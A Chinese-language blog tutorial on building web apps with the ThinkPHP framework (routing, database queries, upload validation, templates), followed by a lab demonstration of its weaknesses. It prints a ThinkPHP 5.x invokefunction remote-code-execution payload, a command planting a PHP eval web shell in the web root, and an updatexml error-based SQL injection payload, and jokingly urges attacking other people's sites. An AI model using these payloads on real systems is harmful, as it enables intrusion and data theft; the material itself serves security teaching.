安全开发-web应用-PHP-框架开发
一开始我们学习信息打点的时候我们介绍过了框架这个东西,框架就是第三方开发的一个源码,里面核心内容也就是网站的各个功能都是开发好的,只需要把相应的配置配好,就可以直接开始使用了,对于简单的网站搭建还是很方便的
这里介绍的就是php中使用的很多的tinkphp框架
更多的介绍就不多说了,我们直接装上看看效果
先导入捏
导入之后我们可以查看一下他的版本,对应我们后面对他的漏洞利用~
看好了我们就可以直接开整了
但是这里要注意的是既然我们用框架开发了,文件根目录是要指向这个目录的,所以我们再开放一个端口
完整路径就是在这里了,然后我们访问一下
可以看到也是成功的打开了捏
我们看一下这个页面是如何展示的
首先我们前面指向的这个pulic目录下面有这个index.php文件,可以看到他指定的目录又是上面的这个application目录,我们再去那里面看看
然后在这个页面中就可以看到浏览器访问的主页了,他实际上就是指向了这里,我们实验一下
我们再去访问一下
可以看到他就成我们刚刚输入的了捏,实际的访问url其实是我上面输入的那个。具体为什么有这样的效果请参考这个框架的官方手册,里面有详细的讲解
其实就是首页文件+目录+用法
可以看到他这里定义了一个函数叫index,所以我们url中输入的并不是这个index.php文件,而是直接最后接上他的用法,我这里再创建一个
public function miku() { return "你好,我是MIKU666,这是我的第一个thinkphp项目!"; }
然后对应的访问看看
可以看到也能完成对应的访问
然后他的传参跟普通的php也有点区别
我们也来试一下
首先我们试试传统的get传参
public function miku() { $x = $_GET['x']; return $x; //return "你好,我是MIKU666,这是我的第一个thinkphp项目!"; }
可以看到也是能用,我们传啥他就输出啥,但是我们换一种方法呢
就是我们前面说的他的用法,这里普通的传参已经不行了,所以我们得使用他规定的语法
<?php namespace app\index\controller; use think\Controller;//引入控制器类 use think\Request;//引入请求类 class Index extends Controller { public function index() { //return "你好,我是MIKU,这是我的第一个thinkphp项目!"; return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>'; } public function miku() { return $this->request->param('ce'); //return "你好,我是MIKU666,这是我的第一个thinkphp项目!"; } }
注释的地方就是需要我们添加的,主要还是要引用他的功能模块
然后我们再去试一下
可以看到现在就能使用了,而用普通的get方法也是能使用的
也是成功了捏
要是我们想自己创建一个项目呢,同样的我们在这个application目录下创建即可
完整的路径就是这样子的,然后我们去访问一下
可以看到他访问的文件路径就是这个样子的,并不是我们传统的文件夹路径访问,一般的MVC框架重要部分就是
model view controller 这三个里面,一般重要的代码逻辑就会写在这个里面
所以我们花这么大力气说这个基础的路由访问呢,就是因为他的这个访问跟我们传统的访问不太一样,要是被你碰到了一个用这个框架开发的目标,岂不是连最基础的访问都不会了,那真是笑掉大牙了捏
既然现在项目创建好了,我们就连接一下数据库吧
他跟我们传统的连接然后使用sql语句查询还是有点区别的捏
在他的这个目录下有一个连接数据库的配置文件
首先我们肯定是要配置他的,这部分就跟前面配置config.php是一样的,根据自己实际的情况填写
连接好之后我们怎么查询呢,我们传统的查询语句就是跟普通的sql语法是差不多的
SELECT * FROM `miku` WHERE `id` = 1 LIMIT 1
但是他这里是怎么用的呢
Db::table('news')->where('id', 1)->find();
他是这样构造的
<?php namespace app\miku\controller; use think\Controller;//引入控制器类 use think\Request;//引入请求类 use think\Db;//引入数据库类 class Miku extends Controller { public function miku() { //return $this->request->param('ce'); return "你好,我是MIKU666,这是我的第一个thinkphp项目!"; } public function testsql() { //使用tp框架操作mysql数据库 //SELECT * FROM `miku` WHERE `id` = 1 LIMIT 1 $data=Db::table('news')->where('id', 1)->find(); return json($data); } }
记得前面要加上数据库的调用,然后我们写出代码,来查询一下
这不就成功的把我们前面写的新闻里的数据查询出来了吗,其实用原生态的也是可以查询的,但是我们既然都用上框架了,那肯定还是要看看框架的使用方法啦,因为这种开发好的一般你没想到的安全问题别人已经帮你想过了,就比我们自己手搓的安全一点点捏
我们可以回去看看当初我们写的关于新闻的页面
添加了一个调试的echo输出,可以看到每次访问页面的时候这里每次都会执行一个sql语句,那这里不就可以进行sql注入吗
可以看到输入正常的语句他是能够有回显的,但是我们输入一个他没有的数据呢
可以看到他直接就是报错了
现在我们看看这个框架的
$id = $this->request->param('id'); $data=Db::table('news')->where('id', $id)->find(); return json($data);
随便写一个查询的语句,然后我们来看看
可以看到用他的语法也是能正常的查询到数据库内容的,我们要是再随便写一个语句呢
可以看到这里不管你输入啥他都是没有反应的,这是因为这个框架他内置了过滤捏
现在成功的连接数据库了,我们就继续来看看对应的功能吧~
说到php项目少不了的肯定是文件上传咯,我们来看看他的文件上传是怎么实现的
首先我们在对应的目录中创建一个前端的页面
//upload.html <form action="/index.php/miku/miku/upload" enctype="multipart/form-data" method="post"> <input type="file" name="image" /> <br> <input type="submit" value="上传" /> </form>
然后再回到我们创建的后端中添加代码
//miku.php public function upload() { $file = request()->file('image');//获取上传的文件 $info = $file->move('../uploads');//移动到指定目录 if($info){ echo $info->getExtension(); //输出文件扩展名 echo $info->getFilename(); //输出文件名 echo $info->getFileInfo(); //输出文件信息 }else{ echo $file->getError(); //输出错误信息 } }
添加完成后我们实验一下,记得在这个上级创建一个接受文件的文件夹
我们来试一下
上传之后就会变成这个样子,他自动改名字了哈,然后在目录下他会自动创建根据日期的文件夹
这样就成功了,这是他内置的功能,具体参考手册哈,上传成功了当然少不了文件上传的过滤
public function upload() { $file = request()->file('image'); $info = $file->validate(['size'=>114514,'ext'=>'jpg,png,gif'])->move('../uploads'); if($info){ // 成功上传后 获取上传信息 // 输出 jpg echo $info->getExtension(); // 输出 20160820/42a79759b5a3d79a4b1c31b715b5b8b1.jpg echo $info->getSaveName(); // 输出 42a79759b5a3d79a4b1c31b715b5b8b1.jpg echo $info->getFilename(); }else{ // 上传失败获取错误信息 echo $file->getError(); } }
可以看到我们限制了文件的大小和格式,这两个一个不符合都会报错,我们来看看
首先上传一个大小不符合的图片
我这里限制的大小为114514字节,也就是差不多1百多k的大小,可以看到大小不符合的直接ban,我们再来试试大小符合但是不是他规定的文件
可以看到对于不允许的文件他也是直接ban,所以说这个过滤还挺好使捏,再来上传一个正常的
可以看到也是正常接受捏,所以说啊,人家专门搞开发的,安全问题对方早就想过了捏,所以说啊你去搜索一下框架的漏洞啊,基本上很少,虽然也有,但是起码安全一点捏
文件上传说完我们继续来说这个mvc渲染功能,这个呀跟那个我们前面的说的模板差不多的,但是他有一个自己的专门的视图view,所以我们直接来看看他是怎么使用的
首先在我们项目文件夹里创建一个view文件夹
前面我们知道他这个主题的文件夹其实有三个,这里我们使用了两个了
可以看到前面controller文件夹放的就是我们使用的方法,也就是我们前面调用函数的地方
而现在这个view其实就是我们前面学习模组的那个放前端页面的地方,然后通过渲染把后台数据渲染到前端页面中
首先我们在对应目录下创建对应文件捏
application/模块/view/控制器名/模板名.html这里他默认查找模板是这个路径,所以创建文件夹的时候需要和你的项目名字对应哦
然后我们看看怎么访问的,前面我们知道了他访问默认的页面的流程,这个很简单,现在我们只需要加一行代码,让他去找模版即可
return $this->fetch('index'); // 渲染模板
可以看到我现在跟前面访问默认页面的时候是不一样的,现在他就首先引用了模板,输出了前面我们模板里的信息,也就是说我们现在也可以写漂亮页面了捏
同样的,如果你想引用别的页面的效果,直接修改即可
return $this->fetch('mikuku');
非常好用~然后他的具体使用呢我们也来看看
其实和模板差不多,我们先给他定义值,这里就先随便写了
$this->assign('name', 'MIKU'); // 模板变量赋值 $this->assign('age', 114514); $this->assign([ 'name' => 'MIKU', 'age' => 114514, ]); return $this->fetch('mikuku'); // 渲染模板
然后我们去模板里修改一下
//mikuku.html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>{$name}</title> <style> h1{ color:green } </style> </head> <body> <h1>{$name}</h1> <br> <h1>{$age}</h1> <br> </body> </html>
把对应需要值的地方写上我们前面定义的变量,然后有值的话就会被传到这里
我们来看看
可以看到他现在就渲染了我们定义好的值,所以现在就差不多搞清楚他是怎么使用的了捏
不会收到目标再无法下手了捏,现在你学会了1+1=2,来试试微积分把~(狗头)
既然我们已经知道他的基础的用法,现在我们就来看看他有哪些安全问题,虽然说他框架里有他的内置的安全保护,但是开发的时候要是没有规范的使用他规定的语法,那肯定还是会出现安全问题的捏
比如我们前面测试了一个关于查询sql数据库数据的一个语句,我们使用的是他规范的写法,但是他还有一种原生写法
$data=Db::table('news')->where('id', $id)->find(); //规范写法 $id = $this->request->param('id'); $data=Db::query("SELECT * FROM `news` WHERE `id` = $id LIMIT 1"); return json($data);
可以看到其实他和我们定义一个$sql变量来接受执行的这个sql语句其实差不多,执行一下看看
可以看到他也是能正常执行的,但是现在你要是再构造一下语句呢
可以看到现在他没有被保护了,现在直接是报错了
我们在配置文件中打开调试
可以看到他直接是炒鸡报错了,说明什么问题,说明你输入的数据他接受了,那不就是有安全隐患了吗
所以说啊,规范的代码写法也是非常重要的捏。
但是!既然他安全,那我必须是测测了,就喜欢他说安全的样子,现在你家负责开发的程序员说代码写好了,非常的安全,但是你是一名测试人员,我要开日!现在我们来看看他有什么安全问题呢
首先肯定是问度娘有没有历史漏洞啦,一搜一大堆捏
这是别人整理的,我们直接拿一个出来用
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
沃趣,直接是执行了电脑的命令,这不就是一个典型的RCE漏洞吗!!!
可恶的开发,byd不是说没有漏洞吗!我们继续来测试
echo ^<?php @eval($_POST['1']); ?^> > C:\phpstudy_pro\WWW\php01\thinkphp\public\shell.php
我们使用hackbar构造一下攻击语句,这个攻击语句也就是执行使用命令把一句话木马写到我们的shell.php文件中然后传到网站的一个目录,我们就上传到这个我们网站的根目录下,也就是publick中
布豪,可以看到直接是被上传到这里了,我们再看看能不能正常连接
布豪,孩子们,我的服务器又被肘击了,这并不好笑,byd程序员,供出去,这个例子就很明显的看到了,即使我们使用的是别人专门开发好的框架,依旧还是会被肘击,所以这就是我们干安全的原因嘞,这就是我前面说的版本对应的历史漏洞,所以开发程序的时候最好都是使用最新的技术,这样就修复了那些历史漏洞,虽然可能新的漏洞更多说是---
学习好了直接对着别人的网站一直日,那很好了。嘻嘻
然后这个还有sql注入漏洞,我们前面一直演示的都是关于rce的漏洞,sql漏洞还没整过,这里刚好有环境就提一嘴吧,让大家看看sql注入是多么严重的漏洞
这里使用的是5.0.14版本,我们来对应操作一下,这里只是说明这里的确实有安全隐患,具体为什么暂时还是不多说哈
我们直接开干,首先我们确定一下我们导入的没有问题
可以看到修改对应代码后成功的输出了,没有问题,我们继续,依旧首先连接一下数据库,这里就不多说
完整路径访问一下
可以看到也能成功访问,现在我们来写一下对应的数据库代码,首先我们还是开启一下调试,让他显示报错信息
<?php namespace app\index\controller; class Index { public function index() { //return 123; //return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_bd568ce7058a1091"></thinkad>'; $username = request()->get('username/a'); db('admin')->insert(['username' => $username]); return 'Update success'; } }
然后构造一下攻击语句
?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
首先测试一下功能是否正常
这里看到你随便输入一个get参数他是有回显的,只是因为插入数据没有规范的书写导致他没有被写进数据库,但是我们知道了现在sql语句是能正确执行的,我们直接使用攻击语句看会发生什么事
可以看到报错的地方直接输出了我们的数据库连接的信息,那要是使用database显示数据库呢,我们吧user()那里改成database(),再来看看效果
数据库名都被输出了,那要是再多构造几下,整个数据库不就被拿下了吗,敏感信息就全被泄露光光了。
所以说啊,就算你使用了规范的写法,但是由于开发的粗心,导致某个函数有安全隐患,人家从历史漏洞中找到了对应你这个版本的漏洞,不就是直接被日了吗
哦~可怕的sql注入
既然说到数据库安全,那我们还要提一个安全问题,逻辑越权
首先我们前面学习过登录的验证,但是我们没写如何验证普通用户和管理员哈,但是其实不难,只是给每个用户加上一个固定标识然后判断一下就可以了。
比如我们给管理员admin设置一个uid=1
剩下的通过代码实现用户注册然后uid=100--
这个其实跟linux系统的用户等级是一样的,他也是uid等于多少多少,比如管理员=0
然后通过查询用户uid然后判断,是否为管理员,举个例子吧
这是我之前敲过的代码,就是一个普通的登录逻辑,可以看到我这里是判断数据库中的is_admin字段来判断是否为管理员
可以看到这个字段的管理员id就是1,当然这里不管是1还是0都一样都是用户表示,然后登录的时候通过下面的if判断登录的用户是否==1 然后跳转到对应的界面,我们试一下再注册一个用户
可以看到不管你注册多少个用户,只要你是普通用户,后面的id都是0,这样就成功的区别管理员和普通用户,
但是要是普通用户登录的时候,使用某种方法登录的时候更改了用户编号,这里我就直接手改了,实际可没有那么简单哈
可以看到现在用户id变成1,我们再登录一下看看
可以看到也是直接进后台了,直接是干进来了,当然这只是简单的还原他的原理,就是说小黑客通过某种方法达到了这种效果,不就直接是普通用户日后台了吗,非常滴危险
当然这里的具体还是等以后啦,话说我都留了多少个坑了,我服了。
到这里,我们的php安全开发就结束了
总结
首先我们学习了留言板和登录的功能实现
知道了如何连接数据库和使用sql语句查询,这部分漏洞没有细说,以后再说
然后还有插件的使用,这部分就还是看使用的插件是否关系到重要的功能,比如表单提交这种,这就没什么好说的了
然后就是登陆防护,我们知道后台页面肯定是管理员才能操作的,而怎么区别管理员呢,首先就是cookie值
cookie记录了当前用户登录的信息,然后通过保留在浏览器本地中,下次你就可以不用再重新登录了,而是直接进入了后台页面,然后还有session和token这两个
这三个都是对数据包和用户身份的验证,只要某个不匹配服务器就会直接丢弃数据包或者导致登录失败,对于这部分的防护也是很重要的,小心钓鱼网站记录了你的cookie值然后直接利用登录到后台,所以说陌生链接不乱点是非常重要的。然后通过token保持数据包的唯一性,防止对方暴力破解账号密码,也是保证了一丢丢安全捏
接着我们又实现了管理文件的操作
首先就是上传文件,通过操作用户上传文件到服务器中,这部分就是要对用户上传的文件进行过滤,不然用户丢个木马上来咋整,我去你的,不老实,通过黑白名单和文件类型来实现过滤,都有优点和缺点,最好的还是搭配使用咯~让用户只能上传指定文件。
然后就是查看文件,因为我们是指定了一个变量来接受用户操作的值,然后通过遍历目录来显示文件内容,这部分是用户可控的,所以说如果用户输入一些返回上级目录的../ 或者 直接输入c:/这种盘符直接访问到对应敏感文件,那岂不是存的学习资料都被看到了吗,非常的危险,所以说我们要对用户输入的参数进行过滤,不准让他输入一些带符号的值,还有通过php自带的配置文件限制用户访问的目录,这样就能防止一些未授权访问和目录穿越的漏洞。
接着就是对文件进行操作了,编辑这里就不多说了,没什么好主意的,要说的就是删除和下载,和前面的限制目录访问一样,如果用户输入一些敏感的文件名,那岂不是直接被下载或者被删除了吗,所以说前面的目录限制一定要做好。
最后还有一个就是文件包含,这部分php使用非常多,因为要引用很多函数还有数据库连接,如果这时候没有规范的使用而是让用户自行操作的话,用户通过传入一个可上传的文本文档然后里面写入了一个一句话木马,当你访问的时候他就会被当php代码执行,这就就触发了后门文件,别人就可以通过这个路径就可以直接访问你的服务器了,这部分也是要注意
然后就是新闻列表显示,其实这部分重要的就是模板引用
通过逻辑代码和前端代码分离来更规范的执行代码,但是这部分有点问题的就是如果对方如果使用不规范或者本身就是来攻击的话,写入一个注入语句,然后模板引用的时候会被直接执行,然后服务器又G了,这部分也是要对用户输入的数据进行过滤,然后就是第三方模板的引用,这就不用多说了,依旧日日,通过网络上的历史漏洞来对他进行注入,依旧被日(服务器怎么整天被日),你本身的代码并没有问题,你对用户输入的数据也过滤了,但是引用的是第三方的模板,这个模板有过历史漏洞,这不就直接还是被别人从别的地方日过来了吗,我去,布豪,沃德皮鼓。通过这些第三方的程序来慢慢渗透进去
最后就是我们的php框架开发了,这部分其实没什么好说的,依旧问度娘
在搞清楚他的访问路由和参数的使用之后就可以对他开日了,如果对应的版本有历史漏洞的话直接用就完事了,没啥好说的
完事咯,这下php真没了,耶~~快去靶场对php开干吧~~~
未完待续